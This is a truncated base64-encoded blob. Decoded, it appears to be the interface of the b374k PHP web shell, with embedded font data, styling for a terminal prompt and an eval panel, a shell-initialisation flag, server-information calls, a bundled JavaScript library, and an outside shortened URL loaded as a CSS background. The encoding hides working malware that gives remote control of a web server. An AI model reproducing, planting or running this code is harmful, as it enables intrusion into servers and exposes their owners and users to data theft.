WVM3Z1BYS2U4Sy9ueVMxb2JpRTdJZlBRRVE1dnc4Q3d1Z1hwVjJITWtPMDdhZTNSbEJRZjNVL3hDUUkvZ2YvcnR4eUl1SWpTeTdjelJ0d3diMFJoT3lQZWNZY3ptUXlxNmZ4Nk9wcjVEcWRvZVRwZERwTjBycXJmMEd1RnpNK3VROFBybjV6OVdXZ0RORnZYdnhRSmtqTGtReitDaUo0NTA5a1Flai9BUGRjSEpVQUFIZ0JZMkJrQUlJelo2SU0rTy9GODl0OFpaQm5mZ0VTT2JXNmhBOUcvNC8rSDhZMGs5a095T1ZnWUFLSkFnQ01qUTA5QUFCNEFXTmdaR0JndHZzZkJpUmYvSS8rSDgwMEV5aUNDbGdBajgwRjF3QUFBSGdCVGM4eFN3SmhITWZ4YjdUazRKRFJJR1pXWEhVV1BpakJJOWx3SWVyRDBkRFVjSnh2SUZxeXdhVU0zSVVhY29zYTJ0cHVxSmZSMU56Y0MyaTMzL0FnOHVINzUzZTNQVXQvYkMvL2drSWJQaGhUd2xLZ3doY0RPY1l3WlVKR1YrdE0zeWNFdExGRUhFbkdpQVpHOVFuSllURXFGVU9OUlB0VWU0c21aV0xWbEgzcTVQV3ZxR3Q1b01lUWtCWGVhT0ZvRUVxa0hGYnBVdFVOVVZ6UkpxTERKbXVVQ1lnNTUxdDNGL2lrUVkwOTh2clRZY0FPUXlLcVRMUnVHV0c0NDU1M0hCdGtQR3NuWEZCZ2xYWDY1QmFVTUtSZTRoWFFHK1o2cXU3bGlYRzBGbFQ4S3dUck5YR0VjMFoxdkFDbkxDVXFqSG5obWk0dzVVa09PWkFiSG5tbHlDV0JibXYyTTB2L0FTOVpQZG9BQUFBQUtnQXFBQ29BS2dCbUFKSUJHQUcrQWtZRE1BTlVBN1FFQWdSbUJJd0V2QVRRQk80RkRnWEtCZ29HbEFkV0I3SUlSQWpzQ1JvS0FncVlDcTRLdWdzRUN5b0xkZ3Z3REtZTlFBM09EbHdPcmc3ZUR3b1BsQS9FRC9BUU9CQ1FFTEFSV2hHZ0VoNFNkQk1ZRTRnVVBCUmVGS3dVOGhZR0ZtUVdxaGJtRndRWEloZEFGM1FYaUJlaUdDUVltQmpzR1ZJWjdocENHdVliT2h1T0c5d2NOaHgrSE53ZExCMm9IaGdlaUI2MEgySWZzQi8rSUZvaFBpR2VJbFlpbGlNR0l4NGpqaVBtSStZa0lDU0dKTzRsV0NYQUplSW04aWNxS0F3b2pDakVLTndvNUNvQUtoUXFZaXFXS3pvcjlpd1FMRm9zaml5WUxPQXRFaTFnTFpZdC9pNmlMNFF3QWpBWU1DNHdSREJhTUg0eEVqRnNNbG95Y2pLSU1xQXl1akxRTXVZeS9ETVlNNEF6bGpPc004SXoyRFB1TkFnME9EVTJOVTQxWkRWNk5aUTFxallRTndJM0ZqY3FOejQzVWpkcU40QTRTRGpnT1BZNUNqa2VPVFk1VERsaU9YZzVranBNT21JNmRqcUtPcDQ2c2pyS093bzdvanU0Tzh3NzREdjRQQXc4aER5Y1BOUTlUajMyUGpRK2VEN0FQdFErNkQ4WVAwWS9kai9LUUJ4QWJrQ1dRTUJBNGtFQVFWNUI4RUg0UXJoRFVFZVFBQUFBQVFBQUFOb0FiZ0FPQUUwQUJBQUNBQkFBTHdCWkFBQUZwd2V2QUFJQUFYZ0JMTVkvU2dOUkZNWGgzN24zSlpQaERma3p5Q0JUQklzc3dRV2tkUXZpR3V3c0JjRWRpQzdBMmlYWWlyaUtWRllXVm1KaDVVRE9WMzNBVnRlSW93c2VmVkg1OVlOR3ZaK2M2Y292VkQzNU16cTkrbk42ZmZzTis3ajNGNnppMDI5WjVZbGZHZlBTNzZhLytHdHFIdndOVGY3NVBiV01KQ290OEFDK0dEajR3VkxoSjN1TmZtSFFyVC9qVk0vK25KMCsvSWE3a0w5Z0cyOStPLzNIcjV6bnp1K20zL2hyaG56M055enp5KzhaU3ZEZktoV3RSZzdEd1BrVS9VQ2RiSjlLWC9mbzArN0xRZnZ1eHFvVG10aUxvN0QwNzI5d2R5RUV3dDFCRVlpUlI1cUppSTdJdU9BTEJRTWllaGdFajJoeFlBaFpqOFNPUkxZakhpRTR3UkRnaUlqcnU1S2ZtUU1FQzNFZ0xzU0dua2p3aXZmNmJzeUNGK1NLVjlNMUN4MGRuWEhNbDY4eXhON2tzVDBjNU9oVFRrUG5SemxaY0NLbm9kTTBhNUFsQlMxaXZjcnIrNUpza1plYzdKdnVWQTZ1eGNiNVhKMHpjT3MvNThUaU54U1IvQWlQd2xMak12cXlOeXViZnNGYjNYYkdVRHNFTFJ5ZW1OY3VjbE9WTnkzemtKTzA3dW5mUG05ZmZsL3FMdlN3M2UxYm1McjVZV2ROVHhSMmZqd2xvSkNhSTk5bkdCR3JPbUZFbmtneDFjNVA4b0tNajcrYzBYMWJuOExxVi91aVVqUU9zMm5SSUZaODBNbVh6MW55eCtZaWdGOVYwcXFCNEF6UGlIY0wwbjYwbk9Uc2ZSUU8vSDkvRDJOYzhJeUdjYTNoRUZZcTAwM0RvVU5tMVhESTdQTGNOTmZyMVlVcU9GSFBkWGxxZmw3d3grOThNL3NINHFnTEgzZ0JYTUZEWWdNQkFBREEyYTJ0clczYnR0M0cva3crbWM4azk4d0lnV3BaaEVDOUNnS2hCbzJhTkd2UnFrMjdEcDI2ZE92UnEwKy9BWkZCUTRhTkdEVm0zSVJKVTZiTm1EVm4zb0pGUzVhdFdMVm0zWVpOVzdidDJMVm4zNEZEUjQ2ZE9IWG0zSVZMVjY3ZHVIWG4zb05IVDU2OWVQWG0zWWRQWDc3OStQWG5YMHhjUWxKS1drWldUbDVCVWFsR0VGejBBZ0FHQUFCOW4veWR1cnViYWNhWWpSTlRGemFkTTNIQWRFM2JPT3Zwcy9mRWhRZ2pHalJhMCt0UmswN3QrbzBaRFpIYTNLblg0OHUzRG4xYWJIcndhY0M0WHovK0RKdXdaOGVrZUFtNkpEcVFaTmUrRTRlT0hIdVM3TnlwTTFOU2ZPaDI1Y0tsVkMvZXRFcVhKa09XVE5rRzVjaVRLMStCSW9XS2xYaFdxbHlaQ2xVcUxSdFNvMXF0T3EvZXJiZzJiY2FOZTdkbXpWbTBaTXU4QmR1YXJkdXdHcUpDZElnSnNlRi9ISXljN0tWNW1RWUdqZ1pRMm9VbkxiKzBxTGkwSUxVb003K0l4YlcwS0I4a1kyUmthQXFpWFEzYzNNQzBtNXNMaUhZek1EQUFBRkhFY3J0NEFUV016MHJ6UUJURlo3N3dGUmRGUmFHSUVJS0ttMmJUUjRnZERMRkJhSnRlYlJwak8yclVmWW9ZRUtxV1N2M1ROb29pS0tMUUIrZ1VOOEdOdm9HdjRNN0gwRnRxTDVkN3pwemZZYlR4NTI2diswOTdtcDNUSDRPa0V2MThhUEdIK0pSK0h4aktuVDhNQ3JjWTNQalR5clZ2S0Ixc3RSRmVJYnpFOXducVJUMnBuSjhaU2hOWkExa2R1NmVZMTVBZm9oNWgzZ3ZlZzg5QTBnSmxRVC9BN0kxU3dpalI1bUdmN2NFdTgyQ0hjZGhtRmRoaVpkaGtMbXd3QjByTUJoRmhMVU1uUE55YTEvR2tGS2VUUE1VclBPU0NmL0ZZcjB5SlMxTnV4UTFkcWNqV1lKMEJXT0VxNUVNVGNtRUdzdUVLNkU0YWxwMGxLRmo0M1d1Qy9xY1JEYzFJK3M2YllpenJDTm9VaTliZ2FybVNpRFVGZ1pKVDdGUGF0aHV0RmtuTHBwQ3RvbmlSYlZNWWFMU0JPVVpENUg2Q3BHMVZKZXJmK0ZVZnQrcXJvNkhJL0lHTVN1alE0RVVkOHVyTUx6SlplMGNBKSBmb3JtYXQoJ3dvZmYnKTsKCWZvbnQtd2VpZ2h0OiBub3JtYWw7Cglmb250LXN0eWxlOiBub3JtYWw7Cn0KKnsKCWZvbnQtZmFtaWx5OnVidW50dW1vbm87CgltYXJnaW46MDsKCXBhZGRpbmc6MDsKCWJvcmRlcjowOwoJLXdlYmtpdC1ib3gtc2l6aW5nOmJvcmRlci1ib3g7CgktbW96LWJveC1zaXppbmc6Ym9yZGVyLWJveDsKCWJveC1zaXppbmc6Ym9yZGVyLWJveDsKCWZvbnQtc2l6ZToxMnB4OwoJZm9udC13ZWlnaHQ6bm9ybWFsOwp9CmlucHV0OmZvY3VzLCBzZWxlY3Q6Zm9jdXMsIHRleHRhcmVhOmZvY3VzLCBidXR0b246Zm9jdXN7CglvdXRsaW5lOm5vbmU7Cn0KaHRtbCwgYm9keXsKCXdpZHRoOjEwMCU7CgloZWlnaHQ6MTAwJTsKCWNvbG9yOiMyMjIyMjI7Cn0KYm9keXsKCWJhY2tncm91bmQ6I2YwZjBmMDsKCWxpbmUtaGVpZ2h0OjE3cHg7Cn0KYXsKCXRleHQtZGVjb3JhdGlvbjpub25lOwoJY29sb3I6IzAwMDAwMDsKfQphOmhvdmVyewoJY3Vyc29yOnBvaW50ZXI7Cn0KcHsKCXBhZGRpbmc6OHB4IDA7Cn0KaW1newoJdmVydGljYWwtYWxpZ246bWlkZGxlOwp9CnRhYmxlewoJd2lkdGg6MTAwJTsKfQp0YWJsZSB0ZCwgdGFibGUgdGh7Cgl2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7CglwYWRkaW5nOjhweDsKfQp0ZXh0YXJlYSwgaW5wdXQsIHNlbGVjdHsKCWJhY2tncm91bmQ6I2ZmZmZmZjsKCXBhZGRpbmc6OHB4OwoJYm9yZGVyLXJhZGl1czo4cHg7Cgljb2xvcjojMTExMTExOwoJYm9yZGVyOjFweCBzb2xpZCAjZGRkZGRkOwp9CnRleHRhcmVhewoJcmVzaXplOnZlcnRpY2FsOwoJd2lkdGg6MTAwJTsKCWhlaWdodDozMDBweDsKCW1pbi1oZWlnaHQ6MzAwcHg7CgltYXgtd2lkdGg6MTAwJTsKCW1pbi13aWR0aDoxMDAlOwp9CmhyewoJbWFyZ2luOjhweCAwOwoJYm9yZGVyLWJvdHRvbToxcHggZGFzaGVkICNkZGRkZGQ7Cn0KdmlkZW97Cgl3aWR0aDoxMDAlOwoJYmFja2dyb3VuZDojMjIyMjIyOwoJYm9yZGVyLXJhZGl1czo4cHg7Cn0KaDEsIGgyewoJYmFja2dyb3VuZDojRTdFN0U3OwoJYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICNjY2NjY2M7Cgljb2xvcjojMDAwMDAwOwoJYm9yZGVyLXJhZGl1czo4cHg7Cgl0ZXh0LWFsaWduOmNlbnRlcjsKCWN1cnNvcjpwb2ludGVyOwoJcGFkZGluZzo4cHg7CgltYXJnaW4tYm90dG9tOjhweDsKfQpoMSBhLCBoMiBhewoJY29sb3I6IzAwMDAwMDsKfQpwcmUsICN2aWV3RmlsZWNvbnRlbnR7Cgl3b3JkLWJyZWFrOmJyZWFrLWFsbDsKCXdvcmQtd3JhcDpicmVhay13b3JkOwp9CnByZXsKCXdoaXRlLXNwYWNlOnByZS13cmFwOwp9CiNiMzc0a3sKCWN1cnNvcjpwb2ludGVyOwp9CiNoZWFkZXJ7Cgl3aWR0aDoxMDAlOwoJcG9zaXRpb246Zml4ZWQ7Cn0KI2hlYWRlck5hdnsKCXBhZGRpbmc6MTBweCA4cHggNnB4IDhweDsKCWJhY2tncm91bmQ6IzMzMzMzMzsKfQojaGVhZGVyTmF2IGltZ3sKCW1hcmdpbjowIDRweDsKfQojaGVhZGVyTmF2IGF7Cgljb2xvcjojZWZlZmVmOwp9CiNtZW51ewoJYmFja2dyb3VuZDojN0M5NEE4OwoJaGVpZ2h0OjMzcHg7Cglib3JkZXItYm90dG9tOjNweCBzb2xpZCAjQ0NDRkQxOwp9CiNtZW51IC5tZW51aXRlbXsKCXBhZGRpbmc6N3B4IDEycHggNnB4IDEycHg7CglmbG9hdDpsZWZ0OwoJaGVpZ2h0OjMwcHg7CgliYWNrZ3JvdW5kOiM3Qzk0QTg7Cgljb2xvcjojZmZmZmZmOwoJY3Vyc29yOnBvaW50ZXI7Cn0KI21lbnUgLm1lbnVpdGVtOmhvdmVyLCAjbWVudSAubWVudWl0ZW1TZWxlY3RlZHsKCWJhY2tncm91bmQ6Izc2ODk5OTsKCWNvbG9yOiNmZmZmZmY7Cn0KI21lbnUgLm1lbnVpdGVtU2VsZWN0ZWR7CgliYWNrZ3JvdW5kOiM3Njg5OTk7Cn0KI2Jhc2ljSW5mb3sKCXdpZHRoOjEwMCU7CglwYWRkaW5nOjhweDsKCWJvcmRlci1ib3R0b206MXB4IGRhc2hlZCAjZGRkZGRkOwp9CiNjb250ZW50ewoJYmFja2dyb3VuZDojZjBmMGYwOwoJaGVpZ2h0OjEwMCU7CglwYWRkaW5nOjY2cHggOHB4IDhweCA4cHg7Cn0KI2NvbnRlbnQgLm1lbnVjb250ZW50ewoJYmFja2dyb3VuZDojZjBmMGYwOwoJY2xlYXI6Ym90aDsKCWRpc3BsYXk6bm9uZTsKCXBhZGRpbmc6OHB4OwoJb3ZlcmZsb3cteDphdXRvOwoJb3ZlcmZsb3cteTpoaWRkZW47Cn0KI292ZXJsYXl7Cglwb3NpdGlvbjpmaXhlZDsKCXRvcDowcHg7CglsZWZ0OjBweDsKCXdpZHRoOjEwMCU7CgloZWlnaHQ6MTAwJTsKCWRpc3BsYXk6bm9uZTsKfQojbG9hZGluZ3sKCXdpZHRoOjY0cHg7CgloZWlnaHQ6NjRweDsKCWJhY2tncm91bmQ6IzdDOTRBODsKCWJvcmRlci1yYWRpdXM6MzJweCAwIDMycHggMDsKCW1hcmdpbjphdXRvOwoJdmVydGljYWwtYWxpZ246bWlkZGxlOwp9CiN1bERyYWdORHJvcHsKCXBhZGRpbmc6MzJweCAwOwoJdGV4dC1hbGlnbjpjZW50ZXI7CgliYWNrZ3JvdW5kOiM3Qzk0QTg7Cglib3JkZXItcmFkaXVzOjhweDsKCWNvbG9yOiNlYmViZWI7Cn0KI2Zvcm17CglkaXNwbGF5Om5vbmU7Cn0KI2RldlRpdGxlewoJYmFja2dyb3VuZDojZWJlYmViOwp9Ci5ib3h7CgltaW4td2lkdGg6NTAlOwoJYm9yZGVyOjFweCBzb2xpZCAjZGRkZGRkOwoJcGFkZGluZzo4cHggOHB4IDAgOHB4OwoJYm9yZGVyLXJhZGl1czo4cHg7Cglwb3NpdGlvbjpmaXhlZDsKCWJhY2tncm91bmQ6I2ViZWJlYjsKCW9wYWNpdHk6MTsKCWJveC1zaGFkb3c6MXB4IDFweCAyNXB4ICMxNTBmMGY7CglvcGFjaXR5OjAuOTg7Cn0KLmJveHRpdGxlewoJYmFja2dyb3VuZDojZGRkZGRkOwoJYm9yZGVyOiAxcHggc29saWQgI2NjY2NjYzsKCWNvbG9yOiMwMDAwMDA7Cglib3JkZXItcmFkaXVzOjhweDsKCXRleHQtYWxpZ246Y2VudGVyOwoJY3Vyc29yOnBvaW50ZXI7Cn0KLmJveHRpdGxlIGEsIC5ib3h0aXRsZSBhOmhvdmVyewoJY29sb3I6IzAwMDAwMDsKfQouYm94Y29udGVudHsKCXBhZGRpbmc6MnB4IDAgMnB4IDA7Cn0KLmJveHJlc3VsdHsKCXBhZGRpbmc6NHB4IDEwcHggNnB4IDEwcHg7Cglib3JkZXItdG9wOjFweCBzb2xpZCAjZGRkZGRkOwoJbWFyZ2luLXRvcDo0cHg7Cgl0ZXh0LWFsaWduOmNlbnRlcjsKfQouYm94dGJsewoJYm9yZGVyOjFweCBzb2xpZCAjZGRkZGRkOwoJYm9yZGVyLXJhZGl1czo4cHg7CglwYWRkaW5nLWJvdHRvbTo4cHg7CgliYWNrZ3JvdW5kOiNlYmViZWI7Cn0KLmJveHRibCB0ZHsKCXZlcnRpY2FsLWFsaWduOm1pZGRsZTsKCXBhZGRpbmc6OHB4IDE1cHg7Cglib3JkZXItYm90dG9tOjFweCBkYXNoZWQgI2RkZGRkZDsKfQouYm94dGJsIGlucHV0LCAuYm94dGJsIHNlbGVjdCwgLmJveHRibCAuYnV0dG9uewoJd2lkdGg6MTAwJTsKfQouYm94bGFiZWx7Cgl0ZXh0LWFsaWduOiBjZW50ZXI7Cglib3JkZXItYm90dG9tOjFweCBzb2xpZCAjZGRkZGRkOwoJcGFkZGluZy1ib3R0b206OHB4Owp9Ci5ib3hjbG9zZXsKCWJhY2tncm91bmQ6IzIyMjIyMiB1cmwoaHR0cDovL3QuY24vUjJBMExINCk7Cglib3JkZXItcmFkaXVzOjNweDsKCW1hcmdpbi1yaWdodDo4cHg7CgltYXJnaW4tdG9wOi0zcHg7CglwYWRkaW5nOjJweCA4cHg7CgljdXJzb3I6cG9pbnRlcjsKCWNvbG9yOiNmZmZmZmY7Cn0KLnN0cm9uZ3sKCWNvbG9yOiM3Qzk0QTg7Cgl0ZXh0LXNoYWRvdzowcHggMHB4IDFweCAjQzBEQ0Y1Owp9Ci53ZWFrewoJY29sb3I6IzY2NjY2NjsKfQouYnV0dG9uewoJbWluLXdpZHRoOjEyMHB4OwoJd2lkdGg6MTIwcHg7CgltYXJnaW46MnB4OwoJY29sb3I6I2ZmZmZmZjsKCWJhY2tncm91bmQ6IzdDOTRBODsKCWJvcmRlcjpub25lOwoJcGFkZGluZzo4cHg7Cglib3JkZXItcmFkaXVzOjhweDsKCWRpc3BsYXk6YmxvY2s7Cgl0ZXh0LWFsaWduOmNlbnRlcjsKCWZsb2F0OmxlZnQ7CgljdXJzb3I6cG9pbnRlcjsKfQouYnV0dG9uOmhvdmVyLCAjdWxEcmFnTkRyb3A6aG92ZXJ7CgliYWNrZ3JvdW5kOiM3Njg5OTk7Cn0KLmZsb2F0TGVmdHsKCWZsb2F0OmxlZnQ7Cn0KLmZsb2F0UmlnaHR7CglmbG9hdDpyaWdodDsKfQouY29sRml0ewoJd2lkdGg6MXB4OwogICAgd2hpdGUtc3BhY2U6bm93cmFwOwp9Ci5jb2xTcGFuewoJd2lkdGg6MTAwJTsKfQouYm9yZGVyewoJYm9yZGVyOjFweCBzb2xpZCAjZGRkZGRkOwoJYmFja2dyb3VuZDojZWJlYmViOwoJYm9yZGVyLXJhZGl1czo4cHg7CglwYWRkaW5nOjhweDsKfQouYm9yZGVyYm90dG9tewoJYm9yZGVyLWJvdHRvbToxcHggZGFzaGVkICNkZGRkZGQ7Cn0KLmJvcmRlcnJpZ2h0ewoJYm9yZGVyLXJpZ2h0OjFweCBkYXNoZWQgI2RkZGRkZDsKfQouYm9yZGVybGVmdHsKCWJvcmRlci1sZWZ0OjFweCBkYXNoZWQgI2RkZGRkZDsKfQouaHIgdGR7Cglib3JkZXItYm90dG9tOjFweCBkYXNoZWQgI2RkZGRkZDsKfQouY0JveCwgLmNCb3hBbGx7Cgl3aWR0aDoxMHB4OwoJaGVpZ2h0OjEwcHg7Cglib3JkZXI6MXB4IHNvbGlkICM3Qzk0QTg7Cglib3JkZXItcmFkaXVzOjVweDsKCW1hcmdpbjphdXRvOwoJZmxvYXQ6bGVmdDsKCW1hcmdpbjozcHggNnB4IDJweCA2cHg7CgljdXJzb3I6cG9pbnRlcjsKfQouY0JveFNlbGVjdGVkewoJYmFja2dyb3VuZDojN0M5NEE4Owp9Ci5hY3Rpb24sIC5hY3Rpb25mb2xkZXIsIC5hY3Rpb25kb3R7CgljdXJzb3I6cG9pbnRlcjsKfQoucGhwRXJyb3J7CglwYWRkaW5nOjhweDsKCW1hcmdpbjo4cHggMDsKCXRleHQtYWxpZ246Y2VudGVyOwp9Ci5kYXRhVmlldyB0ZCwgLmRhdGFWaWV3IHRoLCAjdmlld0ZpbGUgdGR7Cgl2ZXJ0aWNhbC1hbGlnbjp0b3A7Cglib3JkZXItYm90dG9tOjFweCBkYXNoZWQgI2RkZGRkZDsKfQouZGF0YVZpZXcgdGJvZHkgdHI6aG92ZXJ7CgliYWNrZ3JvdW5kOiNlYmViZWI7Cn0KLmRhdGFWaWV3IHRoewoJdmVydGljYWwtYWxpZ246bWlkZGxlOwoJYm9yZGVyLWJvdHRvbTowOwoJYmFja2dyb3VuZDojZTBlMGUwOwp9Ci5kYXRhVmlldyB0Zm9vdCB0ZHsKCXZlcnRpY2FsLWFsaWduOm1pZGRsZTsKfQouZGF0YVZpZXcgLmNvbC1jYm94ewoJdGV4dC1hbGlnbjpjZW50ZXI7Cgl3aWR0aDoyMHB4Owp9Ci5kYXRhVmlldyAuY29sLXNpemV7Cgl3aWR0aDo3MHB4Owp9CiN4cGxUYWJsZSB0cj50ZDpudGgtY2hpbGQoMyl7Cgl0ZXh0LWFsaWduOmxlZnQ7Cn0KI3hwbFRhYmxlIHRyPnRkOm50aC1jaGlsZCg0KSwjeHBsVGFibGUgdHI+dGQ6bnRoLWNoaWxkKDUpLCN4cGxUYWJsZSB0cj50ZDpudGgtY2hpbGQoNil7Cgl0ZXh0LWFsaWduOmNlbnRlcjsKfQouZGF0YVZpZXcgLmNvbC1vd25lcnsKCXdpZHRoOjE0MHB4OwoJbWluLXdpZHRoOjE0MHB4OwoJdGV4dC1hbGlnbjpjZW50ZXI7Cn0KLmRhdGFWaWV3IC5jb2wtcGVybXN7Cgl3aWR0aDo4MHB4OwoJdGV4dC1hbGlnbjpjZW50ZXI7Cn0KLmRhdGFWaWV3IC5jb2wtbW9kaWZpZWR7Cgl3aWR0aDoxNTBweDsKCXRleHQtYWxpZ246Y2VudGVyOwp9Ci5zb3J0YWJsZSB0aHsKCWN1cnNvcjpwb2ludGVyOwp9CiN4cGxUYWJsZSB0ZHsKCXdoaXRlLXNwYWNlOm5vd3JhcDsKfQojdmlld0ZpbGUgdGR7Cgl0ZXh0LWFsaWduOmxlZnQ7Cn0KI3ZpZXdGaWxlY29udGVudHsKCXBhZGRpbmc6OHB4OwoJYm9yZGVyOjFweCBzb2xpZCAjZGRkZGRkOwoJYm9yZGVyLXJhZGl1czo4cHg7Cn0KI3Rlcm1pbmFsUHJvbXB0IHRkewoJcGFkZGluZzowOwp9CiN0ZXJtaW5hbElucHV0ewoJYmFja2dyb3VuZDpub25lOwoJYm9yZGVyOm5vbmU7CglwYWRkaW5nOjA7Cgl3aWR0aDoxMDAlOwp9CiNldmFsQWRkaXRpb25hbHsKCWRpc3BsYXk6bm9uZTsKfQouaGxfZGVmYXVsdHsKCWNvbG9yOiM1MTc3OTc7Cn0KLmhsX2tleXdvcmR7Cgljb2xvcjojMDBCQjAwOwp9Ci5obF9zdHJpbmd7Cgljb2xvcjojMDAwMDAwOwp9Ci5obF9odG1sewoJY29sb3I6I0NFNTQwMzsKfQouaGxfY29tbWVudHsKCWNvbG9yOiM3RjlGN0Y7Cn0KI25hdmlnYXRpb257cG9zaXRpb246Zml4ZWQ7bGVmdDotMTZweDt0b3A6NDYlO3VybChodHRwOi8vdC5jbi9SMkEwTEg0KX0KI3RvdG9wLCN0b2JvdHRvbSwjdG9nZ2xlQmFzaWNJbmZve2JhY2tncm91bmQ6dXJsKCc8P3BocCBlY2hvIGdldF9yZXNvdXJjZSgnYXJyb3cnKTs/PicpO3dpZHRoOjMycHg7aGVpZ2h0OjMycHg7b3BhY2l0eTowLjMwO21hcmdpbjoxOHB4IDA7Y3Vyc29yOnBvaW50ZXI7fQojdG90b3A6aG92ZXIsI3RvYm90dG9tOmhvdmVye29wYWNpdHk6MC44MDt9CiN0b2dnbGVCYXNpY0luZm97ZGlzcGxheTpub25lO2Zsb2F0OnJpZ2h0O21hcmdpbjowO30KI2Jhc2ljSW5mb1NwbGl0dGVye2Rpc3BsYXk6bm9uZTt9CiN0b2JvdHRvbXstd2Via2l0LXRyYW5zZm9ybTpzY2FsZVkoLTEpOy1tb3otdHJhbnNmb3JtOnNjYWxlWSgtMSk7LW8tdHJhbnNmb3JtOnNjYWxlWSgtMSk7dHJhbnNmb3JtOnNjYWxlWSgtMSk7ZmlsdGVyOkZsaXBWOy1tcy1maWx0ZXI6IkZsaXBWIjt9CiNzaG93aW5mb3tmbG9hdDpyaWdodDtkaXNwbGF5Om5vbmU7fQojbG9nb3V0e2Zsb2F0OnJpZ2h0O30KPC9zdHlsZT4KPC9oZWFkPgo8Ym9keT4KPCEtLXdyYXBwZXIgc3RhcnQtLT4KPGRpdiBpZD0nd3JhcHBlcic+Cgk8IS0taGVhZGVyIHN0YXJ0LS0+Cgk8ZGl2IGlkPSdoZWFkZXInPgoJCTwhLS1oZWFkZXIgaW5mbyBzdGFydC0tPgoJCTxkaXYgaWQ9J2hlYWRlck5hdic+CgkJCTxzcGFuPjxhIG9uY2xpY2s9InNldF9jb29raWUoJ2N3ZCcsICcnKTsiIGhyZWY9Jzw/cGhwIGVjaG8gZ2V0X3NlbGYoKTsgPz4nPjw/cGhwIGVjaG8gJEdMT0JBTFNbJ3RpdGxlJ10uIiAiLiRHTE9CQUxTWyd2ZXInXT8+PC9hPjwvc3Bhbj4KCQkJPGltZyBvbmNsaWNrPSd2aWV3ZmlsZW9yZm9sZGVyKCk7JyBpZD0nYjM3NGsnIHNyYz0nPD9waHAgZWNobyBnZXRfcmVzb3VyY2UoJ2IzNzRrJyk7Pz4nIC8+Jm5ic3A7PHNwYW4gaWQ9J25hdic+PD9waHAgZWNobyAkbmF2OyA/Pjwvc3Bhbj4KCgkJCTxhIGNsYXNzPSdib3hjbG9zZScgaWQ9J2xvZ291dCcgdGl0bGU9J2xvZyBvdXQnPng8L2E+CgkJCTxhIGNsYXNzPSdib3hjbG9zZScgaWQ9J3Nob3dpbmZvJyB0aXRsZT0nc2hvdyBpbmZvJz52PC9hPgoJCTwvZGl2PgoJCTwhLS1oZWFkZXIgaW5mbyBlbmQtLT4KCgkJPCEtLW1lbnUgc3RhcnQtLT4KCQk8ZGl2IGlkPSdtZW51Jz4KCQkJPD9waHAKCQkJCWZvcmVhY2goJEdMT0JBTFNbJ21vZHVsZV90b19sb2FkJ10gYXMgJGspewoJCQkJCWVjaG8gIjxhIGNsYXNzPSdtZW51aXRlbScgaWQ9J21lbnUiLiRHTE9CQUxTWydtb2R1bGUnXVska11bJ2lkJ10uIicgaHJlZj0nIyEiLiRHTE9CQUxTWydtb2R1bGUnXVska11bJ2lkJ10uIic+Ii4kR0xPQkFMU1snbW9kdWxlJ11bJGtdWyd0aXRsZSddLiI8L2E+IjsKCQkJCX0KCQkJPz4KCQk8L2Rpdj4KCQk8IS0tbWVudSBlbmQtLT4KCgk8L2Rpdj4KCTwhLS1oZWFkZXIgZW5kLS0+CgoJPCEtLWNvbnRlbnQgc3RhcnQtLT4KCTxkaXYgaWQ9J2NvbnRlbnQnPgoJCTwhLS1zZXJ2ZXIgaW5mbyBzdGFydC0tPgoJCTxkaXYgaWQ9J2Jhc2ljSW5mbyc+CgkJCTxkaXYgaWQ9J3RvZ2dsZUJhc2ljSW5mbyc+PC9kaXY+CgkJCTw/cGhwCgkJCWVjaG8gJGVycm9yX2h0bWw7CgkJCWZvcmVhY2goZ2V0X3NlcnZlcl9pbmZvKCkgYXMgJGs9PiR2KXsKCQkJCWVjaG8gIjxkaXY+Ii4kdi4iPC9kaXY+IjsKCQkJfQoJCQk/PgoJCTwvZGl2PgoJCTwhLS1zZXJ2ZXIgaW5mbyBlbmQtLT4KCgkJPD9waHAKCQkJZm9yZWFjaCgkR0xPQkFMU1snbW9kdWxlX3RvX2xvYWQnXSBhcyAkayl7CgkJCQkkY29udGVudCA9ICRHTE9CQUxTWydtb2R1bGUnXVska11bJ2NvbnRlbnQnXTsKCQkJCWVjaG8gIjxkaXYgY2xhc3M9J21lbnVjb250ZW50JyBpZD0nIi4kR0xPQkFMU1snbW9kdWxlJ11bJGtdWydpZCddLiInPiIuJGNvbnRlbnQuIjwvZGl2PiI7CgkJCX0KCQk/PgoJPC9kaXY+Cgk8IS0tY29udGVudCBlbmQtLT4KCjwvZGl2Pgo8IS0td3JhcHBlciBlbmQtLT4KPGRpdiBpZD0nbmF2aWdhdGlvbic+Cgk8ZGl2IGlkPSd0b3RvcCc+PC9kaXY+Cgk8ZGl2IGlkPSd0b2JvdHRvbSc+PC9kaXY+CjwvZGl2Pgo8dGFibGUgaWQ9Im92ZXJsYXkiPjx0cj48dGQ+PGRpdiBpZD0ibG9hZGluZyIgb25kYmxjbGljaz0nbG9hZGluZ19zdG9wKCk7Jz48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT4KPGZvcm0gYWN0aW9uPSc8P3BocCBlY2hvIGdldF9zZWxmKCk7ID8+JyBtZXRob2Q9J3Bvc3QnIGlkPSdmb3JtJyB0YXJnZXQ9J19ibGFuayc+PC9mb3JtPgo8IS0tc2NyaXB0IHN0YXJ0LS0+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0Jz4KdmFyIHRhcmdldHVybCA9ICc8P3BocCBlY2hvIGdldF9zZWxmKCk7ID8+JzsKdmFyIG1vZHVsZV90b19sb2FkID0gJzw/cGhwIGVjaG8gaW1wbG9kZSgiLCIsICRHTE9CQUxTWydtb2R1bGVfdG9fbG9hZCddKTs/Pic7CnZhciB3aW4gPSA8P3BocCBlY2hvIChpc193aW4oKSk/J3RydWUnOidmYWxzZSc7Pz47CnZhciBpbml0X3NoZWxsID0gdHJ1ZTsKLyogWmVwdG8gdjEuMS4yIC0gemVwdG8gZXZlbnQgYWpheCBmb3JtIGllIC0gemVwdG9qcy5jb20vbGljZW5zZSAqLwp2YXIgWmVwdG89ZnVuY3Rpb24oKXtmdW5jdGlvbiBHKGEpe3JldHVybiBhPT1udWxsP1N0cmluZyhhKTp6W0EuY2FsbChhKV18fCJvYmplY3QifWZ1bmN0aW9uIEgoYSl7cmV0dXJuIEcoYSk9PSJmdW5jdGlvbiJ9ZnVuY3Rpb24gSShhKXtyZXR1cm4gYSE9bnVsbCYmYT09YS53aW5kb3d9ZnVuY3Rpb24gSihhKXtyZXR1cm4gYSE9bnVsbCYmYS5ub2RlVHlwZT09YS5ET0NVTUVOVF9OT0RFfWZ1bmN0aW9uIEs